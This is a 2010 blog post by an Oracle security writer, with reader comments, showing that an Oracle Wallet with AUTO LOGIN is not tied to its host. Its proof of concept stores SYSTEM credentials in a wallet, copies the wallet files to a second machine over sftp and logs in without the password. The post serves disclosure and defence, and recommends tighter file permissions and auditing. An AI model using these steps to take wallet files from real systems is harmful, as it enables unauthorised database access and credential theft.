Oracle Wallet AUTO LOGIN ~ common misconception corrected
Hello Oracle Security interested people,
The generic problem of how to automatically invoke an SQL script remotely whilst keeping the password secret from other users of the client OS, is not as trivial as it may at first sound.
Consider the common scenario where an SQL script is currently ran from SQL*PLUS invoked from a shell script on a UNIX client host to a seperate database server.
The DBAs and the security team identify that the plaintext DB password in the shell script on the client host is a security risk as many users on the source OS can read the shell script with the hardcoded password, and could therefore use that password to logon from a different machine and run their own commands as that user.
One answer to this problem is to instead invoke the script using the Oracle Wallet with Auto Login enabled as the password for the DB will then be encrypted in the Wallet.
However I have experienced a general misconception amongst DBAs and Security Engineers regarding the actual security posture of using this feature in that way.
The security of the Oracle Wallet is only file-based, so if an attacker can still read the wallet they can login as that user from a different machine by copying over the contents of the Wallet without having to supply the password.
Thus the security of the Wallet for invoking scripts remotely is not that much better than the original plaintext password stored in the shell script invoking SQL*PLUS, because BOTH METHODS DEPEND ON OS FILE AND DIRECTORY PERMISSIONS FOR THEIR SECURITY!
The widespread misconception is that the Oracle Wallet is bound to it’s host, which is incorrect. This misconception represents a security issue which this article will clear up.
So here is some PoC code to show that the Oracle wallet can be copied to another Machine B and used to login without knowledge of the original encrypted password.
First let’s set up the Oracle Wallet on Machine A which represents the legitimate original host for the script.
-- add the sqlnet.ora configuration line
[oracle@machineA admin]$ vi /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/sqlnet.ora
WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin)
)
)
SQLNET.WALLET_OVERRIDE = TRUE
SSL_CLIENT_AUTHENTICATION = FALSE
SSL_VERSION = 0
--create the wallet itself giving a location for the files as per sqlnet.ora above and with a master password for the whole wallet
[oracle@machineA admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -create
Enter password:
Enter password again:
--add the oracle DB account credentials which are referred to later by the alias orcl2
[oracle@machineA admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -createCredential orcl2 system lowsec11
Enter wallet password:
Create credential oracle.security.client.connect_string1
--logon using the slash / connect internal syntax referencing the tnsnames alias which automatically maps to the wallet credential above.
[oracle@machineA admin]$ sqlplus /@orcl2
SQL*Plus: Release 10.2.0.4.0 - Production on Sat Apr 10 21:30:21 2010
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL>
–Right, so the Oracle Wallet has been successfully setup and used to connect as system/lowsec11 to a remote DB named orcl2 from Machine A
–But the Attacker has read on the victim’s Wallet on A and wishes to login as the victim to the DB server from the Attacker’s Machine B and then run their own SQL commands.
The Attacker firsts create a dummy wallet on MachineB. So the attacker edits their sqlnet.ora file on MachineB to include the path to their Wallet files. N.B in the example below I have used the same OS username and paths on Machine B as per Machine A but this is not actually required as the Oracle Wallet makes no check as to the OS username or path in which it is located to access the AUTO LOGIN feature. Authentication is literally based on possession of the .sso file.
[oracle@machineB admin]$ vi /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/sqlnet.ora
WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin)
)
)
SQLNET.WALLET_OVERRIDE = TRUE
SSL_CLIENT_AUTHENTICATION = FALSE
SSL_VERSION = 0
[oracle@machineB admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -create
Enter password:
Enter password again:
--Then copy over the cert files from Machine A To Machine B
[oracle@machineB admin]$ sftp oracle@192.168.1.201
sftp> pwd
Remote working directory: /home/oracle
sftp> cd /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/
sftp> ls
cwallet.sso ewallet.p12 listener.ora samples shrept.lst sqlnet.ora
tnsnames.ora
sftp> get *wallet*.*
Fetching /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/cwallet.sso to cwallet.sso
/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/cwallet.sso 100% 8308 8.1KB/s 00:00
Fetching /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/ewallet.p12 to ewallet.p12
/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/ewallet.p12 100% 8280 8.1KB/s 00:00
sftp>
sftp> exit
[oracle@machineB admin]$ sqlplus /@orcl2
SQL*Plus: Release 11.2.0.1.0 Production on Sat Apr 10 23:30:30 2010
Copyright (c) 1982, 2009, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL>
All the attacker needs is read on the target Wallet and the alias used for the DB which is in the source script or tnsnames.ora. So to reiterate ~ the security of the Oracle Wallet is dependent on the OS file permissions and is not bound to the machine ~ i.e. not that much better than the security posture of the original hardcoded password. The solution to the original problem is to more tightly control OS access to the directory where the script lives. Also a uniquely named DB account specifically for that script would help to alert to the accounts credentials becoming more widely known. Additionally OS and DB auditing should be used to verify that the controls have been effective. More on how to setup this audit trail securely in an upcoming article as well as the second part of the Java Forensics in Oracle article.
Cheers,
Paul
April 15th, 2010 at 12:14 AM
Is this a bug or is it meant to work like in this way?
April 15th, 2010 at 12:23 AM
Hi JJ,
The Documentation eludes to the fact that OS privileges control the security of the Wallet but I have not seen this stated specifically with relevance to the AUTO LOGIN facility.
It is not a bug IMO but is a widely misunderstood feature.
More to come on this..in a later post.
Cheers,
Paul
April 21st, 2010 at 7:22 PM
If one is in a multi-tierd environment and only sysadmins and dbas have access to the node where the wallet resides, then wouldn’t this be better than plain (clear-text) passwords in an application or a script? (–assumes that the sysadmins and dbas would be trusted)
April 22nd, 2010 at 1:51 PM
Is there anyway we can get Wallet to interface with a HSM or similar using PKCS#11?
April 23rd, 2010 at 8:23 PM
Hi Chris,
Interesting question.
From the docs we can see that Oracle say..
http://download.oracle.com/docs/cd/B19306_01/network.102/b14268/asowalet.htm
“You can use Oracle Wallet Manager to perform … Saving credentials to hardware security modules, by using APIs that comply with the Public-Key Cryptography Standards #11 (PKCS #11) specification”.
So the answer is yes… but access to the wallet files would still need to be restricted to those authorised ~ by OS access control. HTH.
Regards,
Paul
April 23rd, 2010 at 8:42 PM
Hi Dave,
Excellent question.
The scenario I had in mind in the posting was in the context of internal security, when trying to maintain individual accounts, whilst using the Oracle Wallet as a client side logon tool.
IMO similar principles apply to the scenario of an app using the Wallet to access a DB in that.. encrypting the password should not be the top priority. Restricting access to the password file should be the priority.
If a user can access either the encrypted password or the plaintext they can logon as the user by copying the wallet. After access is restricted encrypting will add more security on top, but is close to useless without the former.
It will depend on how well the application is secured as to whether this is a concern in three tier environment.
Regarding internal security, in my experience nearly all DBAs are trustworthy. What is of concern is protecting the DBAs privilege from unauthorised users from outside the DBA team, who have gained access internally or externally to a DBA account.
I have examples of this happening so it is a real concern, problem is that it is often not brought to our attention until it is too late… so best to lower the risk and take precautions beforehand. HTH
Regards,
Paul